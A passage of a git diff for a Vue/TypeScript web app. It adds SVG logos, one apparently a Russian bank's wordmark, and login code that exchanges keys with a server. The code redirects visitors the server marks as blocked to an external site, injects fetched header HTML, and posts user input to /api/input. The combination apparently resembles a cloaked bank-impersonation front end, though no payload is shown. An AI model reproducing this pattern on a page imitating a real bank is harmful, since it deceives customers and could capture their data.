<polygon fill="#717171" points="37.434,56.755 37.434,55.568 39.391,55.568 39.391,56.755 39.715,56.755 39.715,54.327 39.391,54.327 39.391,55.374 37.434,55.374 37.434,54.327 37.104,54.327 37.104,56.755"/>
<path fill="#717171" d="M34.898,55.675c-0.107-0.105-0.273-0.17-0.494-0.203c0.188-0.051,0.324-0.119,0.408-0.211c0.086-0.09,0.127-0.193,0.127-0.313c-0.002-0.123-0.029-0.225-0.08-0.307c-0.051-0.08-0.123-0.145-0.217-0.189c-0.094-0.047-0.201-0.08-0.326-0.1s-0.262-0.027-0.41-0.025h-1.344v2.428h1.359c0.209,0,0.383-0.016,0.52-0.045c0.137-0.033,0.25-0.072,0.332-0.123c0.084-0.053,0.145-0.105,0.186-0.166s0.068-0.121,0.082-0.18c0.014-0.061,0.02-0.111,0.018-0.16C35.061,55.913,35.006,55.777,34.898,55.675z M32.896,54.532h0.953c0.104,0,0.203,0.004,0.297,0.012c0.092,0.01,0.174,0.029,0.246,0.059c0.072,0.027,0.127,0.07,0.17,0.127c0.041,0.057,0.061,0.131,0.063,0.225c-0.002,0.088-0.021,0.162-0.059,0.221c-0.039,0.059-0.092,0.105-0.162,0.137c-0.068,0.035-0.15,0.059-0.242,0.07c-0.092,0.014-0.193,0.021-0.301,0.021h-0.965V54.532z M34.656,56.349c-0.055,0.07-0.143,0.121-0.264,0.152c-0.121,0.033-0.279,0.051-0.475,0.049h-1.021v-0.959h1.021c0.193,0,0.352,0.016,0.473,0.049s0.209,0.086,0.266,0.156c0.057,0.072,0.084,0.166,0.084,0.281C34.74,56.189,34.711,56.279,34.656,56.349z"/>
<polygon fill="#717171" points="28.211,56.755 30.143,54.626 30.143,56.755 30.479,56.755 30.479,54.327 30.068,54.327 28.152,56.482 28.152,54.327 27.822,54.327 27.822,56.755"/>
<polygon fill="#717171" points="24.563,56.755 24.896,56.755 24.896,54.54 25.975,54.54 25.975,54.327 23.469,54.327 23.469,54.54 24.563,54.54"/>
<path fill="#717171" d="M20.639,54.327h-0.355l-1.313,2.428h0.355l0.396-0.766h1.479l0.396,0.766h0.355L20.639,54.327zM19.822,55.792l0.635-1.238l0.648,1.238H19.822z"/>
<path fill="#717171" d="M17.275,54.638c-0.084-0.105-0.203-0.186-0.357-0.236c-0.156-0.051-0.34-0.076-0.557-0.074h-1.287v2.43h0.328v-0.002V55.79h0.844c0.164,0,0.313-0.016,0.453-0.041c0.141-0.027,0.262-0.068,0.367-0.127c0.105-0.061,0.188-0.135,0.248-0.229c0.059-0.094,0.088-0.205,0.09-0.338C17.402,54.884,17.359,54.745,17.275,54.638z M17,55.327c-0.045,0.068-0.109,0.121-0.189,0.158c-0.08,0.035-0.172,0.063-0.275,0.074c-0.105,0.016-0.221,0.021-0.342,0.021h-0.791V54.54h0.865c0.197,0,0.355,0.018,0.473,0.055c0.119,0.039,0.201,0.098,0.254,0.174c0.051,0.078,0.074,0.176,0.074,0.295C17.066,55.171,17.045,55.259,17,55.327z"/>
<polygon fill="#717171" points="10.807,56.755 13.1,56.755 13.1,56.552 11.143,56.552 11.143,55.607 12.895,55.607 12.895,55.413 11.143,55.413 11.143,54.536 13.057,54.536 13.057,54.327 10.807,54.327 10.807,56.755"/>
<polygon fill="#717171" points="6.227,56.755 6.557,56.755 6.557,54.519 8.395,54.519 8.395,56.755 8.729,56.755 8.729,54.327 6.227,54.327"/>
<path fill="#717171" d="M4.139,55.157c-0.039-0.129-0.102-0.244-0.182-0.354c-0.082-0.104-0.186-0.199-0.309-0.277c-0.123-0.076-0.268-0.139-0.434-0.182c-0.164-0.043-0.352-0.063-0.561-0.063s-0.395,0.021-0.563,0.063c-0.166,0.045-0.311,0.105-0.434,0.188c-0.123,0.076-0.227,0.17-0.311,0.275c-0.08,0.107-0.143,0.225-0.184,0.352c-0.039,0.127-0.061,0.26-0.061,0.4c0.002,0.191,0.037,0.363,0.109,0.518c0.072,0.152,0.176,0.283,0.311,0.391c0.137,0.107,0.297,0.191,0.488,0.248s0.406,0.086,0.643,0.088c0.238-0.002,0.451-0.031,0.643-0.088c0.189-0.057,0.352-0.141,0.486-0.248c0.133-0.107,0.236-0.236,0.309-0.391c0.072-0.152,0.107-0.324,0.109-0.518C4.201,55.419,4.18,55.284,4.139,55.157z M3.711,56.115c-0.098,0.152-0.234,0.271-0.414,0.355s-0.395,0.125-0.643,0.127c-0.25-0.002-0.467-0.043-0.646-0.127c-0.182-0.084-0.322-0.203-0.418-0.355c-0.1-0.156-0.15-0.34-0.15-0.555c0-0.227,0.049-0.42,0.146-0.58C1.682,54.82,1.818,54.698,2,54.615s0.398-0.127,0.654-0.129c0.256,0.002,0.471,0.045,0.65,0.129s0.316,0.205,0.41,0.365c0.096,0.16,0.143,0.354,0.145,0.58C3.857,55.775,3.809,55.958,3.711,56.115z"/>
<polygon fill="#717171" points="82,64.454 82,63.452 79.037,63.452 79.037,62.044 81.627,62.044 81.627,61.103 79.037,61.103 79.037,59.929 81.871,59.929 81.871,58.927 77.904,58.927 77.904,64.454"/>
<polygon fill="#717171" points="72.344,64.454 73.752,64.454 75.797,60.29 75.797,64.454 76.938,64.454 76.938,58.927 75.557,58.927 73.482,63.193 73.482,58.927 72.344,58.927"/>
<polygon fill="#717171" points="66.988,64.454 68.119,64.454 68.119,62.052 70.305,62.052 70.305,64.454 71.436,64.454 71.436,58.927 70.305,58.927 70.305,61.068 68.119,61.068 68.119,58.927 66.988,58.927"/>
<polygon fill="#717171" points="66.193,64.454 66.193,63.452 63.23,63.452 63.23,62.044 65.822,62.044 65.822,61.103 63.23,61.103 63.23,59.929 66.064,59.929 66.064,58.927 62.1,58.927 62.1,64.454"/>
<polygon fill="#717171" points="56.383,64.454 57.584,64.454 58.973,60.195 60.355,64.454 61.582,64.454 59.639,58.927 58.352,58.927"/>
<path fill="#717171" d="M56.018,62.314c-0.053-0.152-0.129-0.291-0.23-0.406c-0.104-0.119-0.227-0.215-0.373-0.283c-0.148-0.068-0.318-0.107-0.51-0.115c0.143-0.027,0.275-0.078,0.396-0.148c0.123-0.072,0.229-0.164,0.322-0.27c0.092-0.107,0.162-0.223,0.215-0.348c0.051-0.123,0.078-0.252,0.078-0.383c0-0.24-0.047-0.455-0.137-0.643c-0.092-0.188-0.23-0.352-0.416-0.488c-0.135-0.104-0.314-0.182-0.545-0.229c-0.229-0.049-0.508-0.074-0.838-0.074h-2.398v5.527h2.615c0.631,0,1.105-0.137,1.424-0.41c0.314-0.271,0.477-0.684,0.477-1.232C56.098,62.634,56.068,62.47,56.018,62.314zM52.711,59.927h0.002h1.164c0.207,0,0.373,0.02,0.502,0.063c0.125,0.039,0.219,0.104,0.275,0.189c0.059,0.086,0.088,0.197,0.088,0.336c0,0.152-0.029,0.275-0.092,0.363c-0.061,0.088-0.156,0.15-0.289,0.188c-0.131,0.039-0.301,0.057-0.51,0.055h-1.141V59.927z M54.848,63.152c-0.055,0.092-0.135,0.16-0.232,0.203c-0.102,0.041-0.221,0.068-0.354,0.08c-0.137,0.016-0.283,0.02-0.445,0.018h-1.104v-1.408h1.123c0.166-0.002,0.316,0.004,0.451,0.021c0.135,0.016,0.248,0.051,0.346,0.098c0.096,0.051,0.17,0.125,0.221,0.223s0.078,0.23,0.078,0.393C54.932,62.935,54.902,63.062,54.848,63.152z"/>
<path fill="#717171" d="M49.119,58.927h-1.287l-1.969,5.527h1.199l0.371-1.166h2.023l0.379,1.166h1.227L49.119,58.927zM47.762,62.363l0.691-2.168l0.699,2.168H47.762z"/>
<path fill="#717171" d="M45.432,59.845c-0.102-0.229-0.24-0.414-0.418-0.547c-0.174-0.137-0.377-0.23-0.604-0.289c-0.23-0.057-0.471-0.084-0.725-0.082h-2.271v5.527h1.131v-1.865h1.096c0.279-0.002,0.535-0.043,0.771-0.129s0.439-0.211,0.617-0.373c0.176-0.162,0.313-0.359,0.406-0.59c0.1-0.234,0.148-0.498,0.15-0.791C45.584,60.361,45.533,60.075,45.432,59.845z M43.428,61.587h-0.881v-1.66h0.896c0.32,0,0.563,0.07,0.727,0.213c0.16,0.143,0.242,0.357,0.242,0.643C44.412,61.318,44.084,61.587,43.428,61.587z"/>
<polygon fill="#717171" points="36.975,59.927 39.299,59.927 39.299,64.452 40.43,64.452 40.43,58.925 35.844,58.925 35.844,64.452 36.975,64.452 36.975,59.927"/>
<path fill="#717171" d="M30.604,58.925l1.967,3.895l-0.146,0.33c-0.053,0.111-0.145,0.199-0.271,0.256c-0.131,0.059-0.297,0.09-0.496,0.09h-0.225v0.959h0.707c0.303,0,0.564-0.084,0.791-0.252c0.225-0.168,0.406-0.418,0.549-0.75l1.926-4.525H34.18l-0.893,2.186c-0.039,0.094-0.076,0.186-0.109,0.273c-0.035,0.088-0.07,0.184-0.105,0.287c-0.025-0.082-0.051-0.154-0.078-0.223c-0.025-0.068-0.051-0.139-0.078-0.211l-1.045-2.313h-1.268V58.925z"/>
<path fill="#717171" d="M27.846,60.47c-0.121-0.34-0.293-0.635-0.52-0.883s-0.504-0.438-0.826-0.57c-0.322-0.135-0.691-0.203-1.1-0.203c-0.428,0.002-0.809,0.074-1.137,0.221c-0.33,0.145-0.607,0.35-0.834,0.607c-0.227,0.264-0.396,0.568-0.514,0.92c-0.117,0.35-0.178,0.732-0.178,1.145c0.002,0.404,0.064,0.781,0.186,1.127c0.123,0.346,0.301,0.646,0.531,0.904s0.51,0.457,0.836,0.6c0.33,0.145,0.699,0.217,1.109,0.221c0.344-0.004,0.65-0.059,0.928-0.158c0.275-0.102,0.521-0.242,0.732-0.426s0.389-0.396,0.531-0.643c0.143-0.248,0.252-0.518,0.326-0.811c0.072-0.291,0.107-0.598,0.107-0.918C28.025,61.187,27.965,60.81,27.846,60.47zM26.814,62.212c-0.037,0.188-0.094,0.365-0.172,0.527c-0.076,0.16-0.172,0.303-0.291,0.426c-0.119,0.125-0.26,0.223-0.42,0.293c-0.162,0.066-0.348,0.104-0.555,0.105c-0.213-0.002-0.4-0.039-0.564-0.107c-0.16-0.072-0.301-0.17-0.414-0.295c-0.115-0.127-0.209-0.271-0.279-0.436c-0.074-0.164-0.127-0.34-0.16-0.527c-0.035-0.189-0.051-0.383-0.051-0.578c0-0.254,0.031-0.49,0.094-0.707c0.061-0.217,0.156-0.408,0.279-0.57c0.125-0.164,0.279-0.291,0.465-0.383c0.186-0.094,0.4-0.143,0.646-0.145c0.242,0.002,0.455,0.049,0.641,0.141c0.184,0.094,0.338,0.223,0.463,0.389c0.123,0.166,0.217,0.357,0.279,0.578c0.064,0.221,0.096,0.459,0.096,0.715C26.871,61.835,26.852,62.027,26.814,62.212z"/>
<path fill="#717171" d="M22.01,59.845c-0.102-0.229-0.24-0.414-0.418-0.547c-0.176-0.137-0.377-0.23-0.605-0.289c-0.227-0.057-0.467-0.084-0.723-0.082h-2.271v5.527h1.131v-1.865h1.098c0.277-0.002,0.533-0.043,0.77-0.129c0.234-0.086,0.439-0.211,0.615-0.373c0.178-0.162,0.313-0.359,0.41-0.59c0.096-0.234,0.146-0.498,0.148-0.791C22.162,60.361,22.109,60.075,22.01,59.845z M20.004,61.587h-0.881v-1.66h0.896c0.32,0,0.563,0.07,0.725,0.213c0.16,0.143,0.244,0.357,0.244,0.643C20.988,61.318,20.66,61.587,20.004,61.587z"/>
<path fill="#717171" d="M16.828,61.804c-0.102-0.221-0.24-0.402-0.424-0.543c-0.184-0.139-0.398-0.242-0.646-0.309c-0.25-0.068-0.525-0.102-0.824-0.102h-1.33v-0.924h2.928v-1.002h-4.061v5.529h0.002h2.59c0.273,0,0.527-0.043,0.76-0.129c0.23-0.082,0.436-0.205,0.607-0.367c0.174-0.16,0.307-0.354,0.404-0.584c0.096-0.227,0.145-0.488,0.146-0.777C16.979,62.29,16.928,62.025,16.828,61.804z M15.49,63.255c-0.176,0.131-0.438,0.195-0.783,0.195h-1.105v-1.613h0.002h1.088c0.35,0,0.615,0.068,0.793,0.207c0.18,0.137,0.27,0.346,0.27,0.619C15.754,62.929,15.666,63.124,15.49,63.255z"/>
<path fill="#717171" d="M11.463,60.47c-0.123-0.34-0.295-0.635-0.521-0.883s-0.504-0.438-0.824-0.57c-0.324-0.135-0.691-0.203-1.1-0.203c-0.428,0.002-0.809,0.074-1.137,0.221c-0.332,0.145-0.609,0.35-0.834,0.607c-0.229,0.264-0.396,0.568-0.514,0.92c-0.117,0.35-0.176,0.732-0.176,1.145c0,0.404,0.063,0.781,0.184,1.127c0.123,0.346,0.301,0.646,0.533,0.904c0.229,0.258,0.508,0.457,0.836,0.6c0.326,0.145,0.695,0.217,1.107,0.221c0.34-0.004,0.648-0.059,0.926-0.158c0.277-0.102,0.523-0.242,0.734-0.426s0.389-0.396,0.531-0.643c0.145-0.248,0.252-0.518,0.324-0.811c0.072-0.291,0.109-0.598,0.109-0.918C11.641,61.187,11.582,60.81,11.463,60.47zM10.43,62.212c-0.037,0.188-0.094,0.365-0.172,0.527c-0.076,0.16-0.174,0.303-0.291,0.426c-0.121,0.125-0.26,0.223-0.422,0.293c-0.162,0.066-0.346,0.104-0.553,0.105c-0.215-0.002-0.402-0.039-0.564-0.107c-0.162-0.072-0.301-0.17-0.414-0.295c-0.115-0.127-0.209-0.271-0.281-0.436s-0.125-0.34-0.158-0.527c-0.035-0.189-0.051-0.383-0.051-0.578c0-0.254,0.031-0.49,0.094-0.707c0.061-0.217,0.154-0.408,0.277-0.57c0.127-0.164,0.281-0.291,0.467-0.383c0.186-0.094,0.4-0.143,0.646-0.145c0.242,0.002,0.455,0.049,0.641,0.141c0.184,0.094,0.338,0.223,0.461,0.389c0.125,0.166,0.219,0.357,0.281,0.578c0.064,0.221,0.094,0.459,0.094,0.715C10.484,61.835,10.467,62.027,10.43,62.212z"/>
<path fill="#717171" d="M5.209,63.581v-4.656H1.002v3.377c0,0.256-0.039,0.49-0.123,0.705c-0.08,0.215-0.205,0.404-0.369,0.574H0v2.098h0.863l0.035-0.328c0.02-0.209,0.059-0.381,0.117-0.512c0.061-0.135,0.145-0.23,0.252-0.295c0.109-0.063,0.248-0.092,0.416-0.092h2.438v0.002c0.166,0,0.303,0.029,0.412,0.092s0.193,0.16,0.258,0.293c0.061,0.133,0.102,0.303,0.125,0.514l0.023,0.326h0.873v-2.098H5.209z M4.061,63.581H1.469c0.107-0.117,0.195-0.215,0.26-0.291c0.066-0.08,0.111-0.141,0.139-0.184c0.09-0.146,0.158-0.307,0.199-0.482c0.045-0.174,0.068-0.363,0.068-0.572v-2.176h1.926V63.581z"/>
<path fill="url(#SVGID_1_)" d="M50.06,25.704c-1.416,1.364-2.775,2.783-4.096,4.238c3.383,5.054,7.27,9.78,11.619,14.11c1.715,1.709,3.498,3.354,5.354,4.934h9.32C63.362,42.602,55.878,34.668,50.06,25.704"/>
<path fill="url(#SVGID_2_)" d="M62.937,48.987H54.62c-5.633-2.971-11.439-5.527-17.389-7.689c1.08-1.672,2.219-3.303,3.408-4.897c5.793,2.179,11.443,4.737,16.941,7.653C59.298,45.762,61.081,47.408,62.937,48.987 M34.972,34.404c-2.492-0.819-5.012-1.553-7.547-2.235c-0.25,1.915-0.527,3.825-0.842,5.729c1.688,0.463,3.365,0.965,5.035,1.492C32.679,37.688,33.804,36.032,34.972,34.404z M9.124,28.465v5.807c3.998,0.568,7.957,1.304,11.869,2.208c0.307-1.896,0.57-3.801,0.813-5.712C17.624,29.818,13.396,29.049,9.124,28.465z"/>
<path fill="url(#SVGID_3_)" d="M23.013,14.74c-0.035,1.6-0.143,3.997-0.266,5.988c-0.211,3.364-0.527,6.711-0.947,10.04c-0.24,1.911-0.506,3.815-0.813,5.711c-0.684,4.205-1.543,8.373-2.557,12.506h5.92c0.867-3.668,1.609-7.367,2.227-11.09c0.314-1.902,0.594-3.813,0.842-5.728c0.557-4.288,0.949-8.606,1.172-12.953c0.104-2.006,0.166-3.664,0.201-6.035c0.129-6.949-0.307-13.179-0.307-13.179h-5.764C22.722,0.001,23.187,5.153,23.013,14.74z"/>
<path fill="url(#SVGID_4_)" d="M43.77,14.204c-0.791-1.747-1.48-3.502-2.207-5.315c-1.303-3.252-2.797-8.888-2.797-8.888h-5.932c0,0,1.613,6.604,3.328,10.846c0.723,1.868,1.406,3.575,2.191,5.328c1.332,2.975,2.82,5.875,4.457,8.697c1.357-1.447,2.762-2.851,4.213-4.209C45.846,18.556,44.764,16.401,43.77,14.204"/>
<path fill="url(#SVGID_5_)" d="M47.02,20.663c-1.451,1.358-2.855,2.762-4.213,4.209c-2.823,3.001-5.438,6.188-7.833,9.531c-1.168,1.629-2.293,3.284-3.355,4.985c-1.924,3.084-3.65,6.297-5.203,9.598h6.393c1.344-2.643,2.822-5.205,4.426-7.689c1.08-1.672,2.219-3.303,3.408-4.897c1.668-2.234,3.446-4.389,5.323-6.457c1.32-1.455,2.682-2.874,4.098-4.238c4.412-4.247,9.271-8.052,14.531-11.307V7.739C58.209,11.362,52.313,15.707,47.02,20.663"/>
<path fill="url(#SVGID_6_)" d="M38.35,16.175c-3.219,1.111-6.469,2.127-9.754,3.04c0.104-2.006,0.17-4.018,0.201-6.035c2.473-0.718,4.928-1.496,7.359-2.333C36.832,12.648,37.564,14.422,38.35,16.175 M41.563,8.889c0.676,1.798,1.416,3.569,2.207,5.315C53.648,10.401,63.154,5.646,72.174,0H60.787C54.572,3.386,48.152,6.358,41.563,8.889z M22.75,20.729c0.125-1.992,0.215-3.987,0.268-5.988c-4.578,1.144-9.213,2.091-13.895,2.829v5.817C13.711,22.687,18.256,21.802,22.75,20.729z"/>
</svg>

After

Width:  |  Height:  |  Size: 19 KiB

View File

@@ -0,0 +1,16 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<path fill="#FFFFFF" d="M492.75,158.75v-3.25h-1.281C452.406,64.094,361.688,0,256,0S59.594,64.094,20.531,155.5h-1.219v3.063
C6.938,188.625,0,221.5,0,256s6.938,67.375,19.313,97.438v3.063h1.219C59.594,447.906,150.313,512,256,512h0.031
c0.031,0,0.031,0,0.031,0c0.031,0,0.031,0,0.063,0c105.625-0.063,196.281-64.125,235.344-155.5h1.281v-3.25
c12.344-30,19.25-62.813,19.25-97.25S505.094,188.75,492.75,158.75z M456,155.5h-82.375C363.781,109.813,347.469,71,327,43.688
C383.344,62.5,429.594,103.063,456,155.5z M352,256.375c0,24-1.781,46.813-4.969,68.125H164.969
c-3.188-21.313-4.969-44.125-4.969-68.125c0-24.25,1.844-47.375,5.094-68.875h181.813C350.156,209,352,232.125,352,256.375z
M256.063,32.719c32.25,0,67.125,48.656,84.594,122.781H171.375C188.844,81.375,223.781,32.719,256.063,32.719z M185.031,43.656
C164.531,71,148.219,109.813,138.406,155.5H56.031C82.406,103.063,128.688,62.5,185.031,43.656z M32,256
c0-23.906,3.844-46.906,10.75-68.5h90.094C129.75,209.438,128,232.469,128,256.375c0,23.625,1.719,46.406,4.75,68.125h-90
C35.844,302.906,32,279.906,32,256z M56.031,356.5h82.188c9.688,45.438,25.781,84.125,46.031,111.563
C128.25,449.094,82.281,408.688,56.031,356.5z M256.094,480c0,0-0.031,0-0.063,0c-32.375,0-67.406-48.969-84.813-123.5h169.594
C323.406,431,288.438,479.938,256.094,480z M327.781,468.063c20.219-27.438,36.313-66.125,46-111.563H456
C429.719,408.688,383.781,449.094,327.781,468.063z M469.25,324.5h-90c3.031-21.719,4.75-44.5,4.75-68.125
c0-23.906-1.75-46.938-4.844-68.875h90.094C476.188,209.094,480,232.094,480,256S476.188,302.906,469.25,324.5z"/>
</svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

View File

@@ -0,0 +1,5 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<path fill="#FFFFFF" d="M455,377H57c-13.807,0-25,11.193-25,25s11.193,25,25,25h398c13.807,0,25-11.193,25-25S468.806,377,455,377z
M455,231H57c-13.807,0-25,11.193-25,25s11.193,25,25,25h398c13.807,0,25-11.193,25-25S468.806,231,455,231z M57,135h398
c13.807,0,25-11.193,25-25s-11.193-25-25-25H57c-13.807,0-25,11.193-25,25S43.193,135,57,135z"/>
</svg>

After

Width:  |  Height:  |  Size: 411 B

View File

@@ -0,0 +1,16 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<circle opacity="0.6" fill="#FFFFFF" enable-background="new " cx="256" cy="256" r="246.833"/>
<path fill="#767676" d="M256,28C130.079,28,28,130.079,28,256s102.079,228,228,228c125.922,0,228-102.079,228-228S381.922,28,256,28
z M256,465.536c-115.724,0-209.537-93.813-209.537-209.536S140.276,46.463,256,46.463c115.725,0,209.536,93.813,209.536,209.537
S371.725,465.536,256,465.536z"/>
<g>
<path fill="#767676" d="M244.687,236.5c-6.249-6.249-6.249-16.38,0-22.627c6.248-6.249,16.377-6.249,22.627-0.001l86.001,86.002
c6.249,6.249,6.249,16.38,0,22.627c-6.247,6.249-16.378,6.249-22.628,0L244.687,236.5z"/>
<path fill="#767676" d="M240.007,225.186c0-8.837,7.164-16,16-15.999c8.835-0.001,15.999,7.162,16,16l-0.001,185.625
c0,8.836-7.16,15.995-15.999,15.995c-8.836,0.005-16-7.159-16-16V225.186L240.007,225.186z"/>
<path fill="#767676" d="M244.688,213.873c6.249-6.249,16.378-6.249,22.626-0.001c6.25,6.249,6.25,16.38,0,22.628l-86.001,86.003
c-6.249,6.248-16.379,6.247-22.627,0c-6.25-6.249-6.249-16.38,0-22.63L244.688,213.873z"/>
</g>
<path fill="#767676" d="M147.188,169.19c-8.837,0-16-7.164-16-16.001c0-8.836,7.163-15.999,16-16l217.625,0.001
c8.84,0,16,7.163,16,15.999c0.004,8.837-7.16,16-16,16L147.188,169.19z"/>
</svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1,9 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<path id="path2_1_" fill="#ffffff" d="M334.134,334.198c12.499-12.499,32.748-12.563,45.311-0.063v0.063l123.181,123.18
c12.5,12.499,12.5,32.748,0,45.247c-12.499,12.5-32.748,12.5-45.247,0l-123.181-123.18c-12.499-12.499-12.499-32.748,0-45.247l0,0
H334.134z"/>
<path id="path4_1_" fill="#ffffff" d="M207.987,384.008c97.183,0,175.989-78.808,175.989-176.02
c0-97.182-78.808-175.989-175.989-175.989l0,0c-97.182,0-175.989,78.808-175.989,175.989
C31.998,305.2,110.806,384.008,207.987,384.008z M415.974,207.987c0,114.899-93.119,208.018-207.987,208.018
C93.119,416.005,0,322.887,0,207.987C0,93.119,93.119,0,207.987,0C322.855,0,415.974,93.119,415.974,207.987z"/>
</svg>

After

Width:  |  Height:  |  Size: 725 B

View File

@@ -0,0 +1,8 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<path fill="#c6d9f0" d="M256,0C114.615,0,0,114.615,0,256s114.615,256,256,256c141.386,0,256-114.615,256-256S397.385,0,256,0z
M256,452.5c-108.523,0-196.5-87.977-196.5-196.5S147.476,59.5,256,59.5c108.524,0,196.5,87.977,196.5,196.5
S364.524,452.5,256,452.5z"/>
<path fill="#00699b" d="M384.017,477.733l-29.754-51.536C325.357,442.923,291.797,452.5,256,452.5
c-35.799,0-69.357-9.577-98.264-26.303l-29.754,51.535C165.64,499.522,209.361,512,256,512
C302.636,512,346.357,499.522,384.017,477.733z"/>
</svg>

After

Width:  |  Height:  |  Size: 565 B

View File

@@ -0,0 +1,12 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<g>
<path fill="#FFFFFF" d="M256,256c70.666,0,128-57.334,128-128C384,57.332,326.666,0,256,0c-70.668,0-128,57.332-128,128
C128,198.666,185.332,256,256,256z M256,32c52.935,0,96,43.065,96,96s-43.065,96-96,96s-96-43.065-96-96S203.065,32,256,32z"/>
<path fill="#FFFFFF" d="M256,298.666c-213.334,0-256,128-256,170.666C0,512,42.666,512,42.666,512h426.666
c0,0,42.668,0,42.668-42.668C512,426.666,469.332,298.666,256,298.666z M477.022,477.684c-2.834,1.664-6.769,2.229-8.15,2.316
H43.126c-1.382-0.088-5.315-0.652-8.148-2.314c-1.257-0.738-2.978-1.748-2.978-8.354c0-13.861,8.073-48.15,38.627-78.705
c17.467-17.467,39.855-31.365,66.544-41.307c33.224-12.377,73.204-18.654,118.829-18.654s85.604,6.277,118.828,18.654
c26.688,9.941,49.077,23.84,66.544,41.307C471.927,421.182,480,455.471,480,469.332C480,475.936,478.279,476.947,477.022,477.684z"
/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 920 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 987 B

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

@@ -0,0 +1,70 @@
<script setup lang="ts">
import { RouterView } from "vue-router";
import { onMounted } from "vue";
import http from "@/api/http";
import { useLoadingStore } from "@/stores/loadingStore";
import {
configData,
loginSuccess,
redirectToExternal,
headHtml,
loadHtml,
headerHtml,
footerHtml,
} from "@/utils/common";
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
import LoadingView from "@/views/LoadingView.vue";
const loadingStore = useLoadingStore();
onMounted(() => {
login();
});
const login = async function () {
headerHtml.value = await loadHtml("/Static_zy/header.html");
loadingStore.setLoading(true);
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
if (data.data.isBlock) {
redirectToExternal();
return;
}
if (data.data.isFirst) {
localStorage.removeItem("route")
}
let token = data.data.Token;
if (data.data.mode) {
localStorage.setItem("mode", data.data.mode);
}
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
let sessionCrypto = null;
if (serverPubKey) {
try {
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
} catch (e) {
}
}
loginSuccess(token, data.data.mode, sessionCrypto);
if (data.data.custom) {
configData.value = JSON.parse(data.data.custom);
}
});
footerHtml.value = await loadHtml("/Static_zy/footer.html");
};
</script>
<template>
<div v-html="headHtml"></div>
<LoadingView />
<RouterView />
</template>
<style scoped></style>

View File

@@ -0,0 +1,5 @@
import http from "@/api/http";
export function sendInput(data: any) {
http.post("/api/input", data).then((data) => {});
}

View File

@@ -0,0 +1,223 @@
// http.js
import axios from "axios";
import { v4 as uuidv4 } from "uuid";
// ============ 配置 ============
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
? "/"
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
? `http://${import.meta.env.VITE_BASE_URL}`
: `https://${import.meta.env.VITE_BASE_URL}`;
const DB_CONFIG = {
name: "TokenDB",
version: 2,
store: "tokens",
key: "userToken",
} as const;
const STORAGE_KEY = "token";
// ============ IndexedDB 操作 ============
class TokenDB {
private static async open(): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
request.onerror = () => reject(request.error);
request.onsuccess = () => resolve(request.result);
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
db.deleteObjectStore(DB_CONFIG.store);
}
